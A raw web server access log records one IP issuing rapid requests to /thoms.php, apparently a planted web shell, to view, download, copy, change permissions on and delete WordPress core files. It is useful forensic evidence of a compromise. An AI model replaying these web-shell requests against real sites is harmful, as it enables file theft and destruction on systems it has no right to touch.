45.135.193.11 - - [11/Sep/2026:23:24:42 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-locale-switcher.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11896 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-locale-switcher.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:42 -0400] "GET /thoms.php?del=class-wp-block-type-registry.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?del=class-wp-block-type-registry.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:42 -0400] "GET /thoms.php?dl=class-wp-scripts.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59379 "http://163.245.207.76:443/thoms.php?dl=class-wp-scripts.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:42 -0400] "GET /thoms.php?dl=l10n.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59381 "http://163.245.207.76:443/thoms.php?dl=l10n.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:42 -0400] "GET /thoms.php?del=ms-blogs.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?del=ms-blogs.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:43 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fcss&p= HTTP/1.1" 200 12316 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fcss&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:43 -0400] "GET /thoms.php?chmod=block-patterns.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11538 "http://163.245.207.76:443/thoms.php?chmod=block-patterns.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:43 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-oembed.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11876 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-oembed.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:43 -0400] "GET /thoms.php?dl=block-bindings.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59441 "http://163.245.207.76:443/thoms.php?dl=block-bindings.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:43 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-http-requests-response.php HTTP/1.1" 200 13323 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-http-requests-response.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:43 -0400] "GET /thoms.php?del=bookmark-template.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59429 "http://163.245.207.76:443/thoms.php?del=bookmark-template.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:44 -0400] "GET /big-wife.com.tw/wp-includes/cache.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:43 -0400] "GET /thoms.php?dl=class-wp-block-patterns-registry.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59373 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-patterns-registry.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:44 -0400] "GET /thoms.php?chmod=class-wp-matchesmapregex.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11542 "http://163.245.207.76:443/thoms.php?chmod=class-wp-matchesmapregex.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:44 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-phpass.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11884 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-phpass.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:44 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-walker-comment.php HTTP/1.1" 200 15970 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-walker-comment.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:44 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-http-requests-response.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11901 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-http-requests-response.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:44 -0400] "GET /big-wife.com.tw/wp-includes/class-wp-recovery-mode-link-service.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:44 -0400] "GET /thoms.php?del=class-wp-post-type.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59415 "http://163.245.207.76:443/thoms.php?del=class-wp-post-type.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:44 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fembed-template.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11888 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fembed-template.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:44 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes%2Fbuild HTTP/1.1" 200 13687 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes%2Fbuild" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:45 -0400] "GET /big-wife.com.tw/wp-includes/class-wp-block-parser-frame.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:44 -0400] "GET /thoms.php?dl=class-wp-text-diff-renderer-inline.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59384 "http://163.245.207.76:443/thoms.php?dl=class-wp-text-diff-renderer-inline.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:45 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2FRequests&p= HTTP/1.1" 200 12299 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2FRequests&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:45 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=author-template.php HTTP/1.1" 200 18293 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=author-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:45 -0400] "GET /thoms.php?chmod=class-wp-customize-setting.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11540 "http://163.245.207.76:443/thoms.php?chmod=class-wp-customize-setting.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:45 -0400] "GET /big-wife.com.tw/wp-includes/class-wp-phpmailer.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:45 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-http-encoding.php HTTP/1.1" 200 14306 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-http-encoding.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:45 -0400] "GET /thoms.php?dl=class-wp-http-curl.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59385 "http://163.245.207.76:443/thoms.php?dl=class-wp-http-curl.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:45 -0400] "GET /thoms.php?del=author-template.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59439 "http://163.245.207.76:443/thoms.php?del=author-template.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:45 -0400] "GET /thoms.php?dl=class-wp-customize-panel.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59382 "http://163.245.207.76:443/thoms.php?dl=class-wp-customize-panel.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:46 -0400] "GET /thoms.php?del=class-wp-recovery-mode-link-service.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59359 "http://163.245.207.76:443/thoms.php?del=class-wp-recovery-mode-link-service.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:46 -0400] "GET /big-wife.com.tw/wp-includes/class-wp-site.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:46 -0400] "GET /big-wife.com.tw/wp-includes/error-protection.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:46 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-styles.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11888 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-styles.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:47 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fglobal-styles-and-settings.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11894 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fglobal-styles-and-settings.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:47 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=locale.php HTTP/1.1" 200 11988 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=locale.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:47 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes%2FPHPMailer HTTP/1.1" 200 13944 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes%2FPHPMailer" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:47 -0400] "GET /thoms.php?chmod=class-wp-block-type.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11535 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-type.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:47 -0400] "GET /thoms.php?del=assets&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59370 "http://163.245.207.76:443/thoms.php?del=assets&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:47 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=error-protection.php HTTP/1.1" 200 13419 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=error-protection.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:47 -0400] "GET /thoms.php?dl=class-wp-url-pattern-prefixer.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?dl=class-wp-url-pattern-prefixer.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:47 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Ffeed-rdf.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11884 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Ffeed-rdf.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:48 -0400] "GET /thoms.php?chmod=functions.wp-scripts.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11535 "http://163.245.207.76:443/thoms.php?chmod=functions.wp-scripts.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:48 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=kses.php HTTP/1.1" 200 40642 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=kses.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:48 -0400] "GET /big-wife.com.tw/wp-includes/class-wpdb.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:48 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=category.php HTTP/1.1" 200 16091 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=category.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:48 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-date-query.php HTTP/1.1" 200 22656 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-date-query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:48 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class.wp-scripts.php HTTP/1.1" 200 12105 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class.wp-scripts.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:48 -0400] "GET /thoms.php?chmod=nav-menu.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=nav-menu.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:48 -0400] "GET /thoms.php?dl=class-walker-category.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?dl=class-walker-category.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:48 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fspl-autoload-compat.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11893 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fspl-autoload-compat.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:48 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fvars.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11880 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fvars.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:48 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-connector-registry.php HTTP/1.1" 200 15817 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-connector-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:48 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-exception.php HTTP/1.1" 200 12053 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-exception.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:48 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-fatal-error-handler.php HTTP/1.1" 200 14952 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-fatal-error-handler.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:48 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-http-streams.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11894 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-http-streams.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:48 -0400] "GET /big-wife.com.tw/wp-includes/class-wp-view-config-data.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:49 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Ferror-protection.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11889 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Ferror-protection.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:49 -0400] "GET /thoms.php?del=class-wp-oembed.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?del=class-wp-oembed.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:49 -0400] "GET /big-wife.com.tw/wp-includes/class-wp-http-curl.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:49 -0400] "GET /thoms.php?dl=nav-menu-template.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?dl=nav-menu-template.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:49 -0400] "GET /thoms.php?dl=class-json.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59304 "http://163.245.207.76:443/thoms.php?dl=class-json.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:49 -0400] "GET /thoms.php?dl=meta.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59332 "http://163.245.207.76:443/thoms.php?dl=meta.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:49 -0400] "GET /thoms.php?dl=formatting.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59372 "http://163.245.207.76:443/thoms.php?dl=formatting.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:49 -0400] "GET /thoms.php?del=pluggable-deprecated.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?del=pluggable-deprecated.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:50 -0400] "GET /thoms.php?del=query.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59382 "http://163.245.207.76:443/thoms.php?del=query.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:50 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=sitemaps.php HTTP/1.1" 200 13057 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=sitemaps.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:50 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-walker-category.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11895 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-walker-category.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
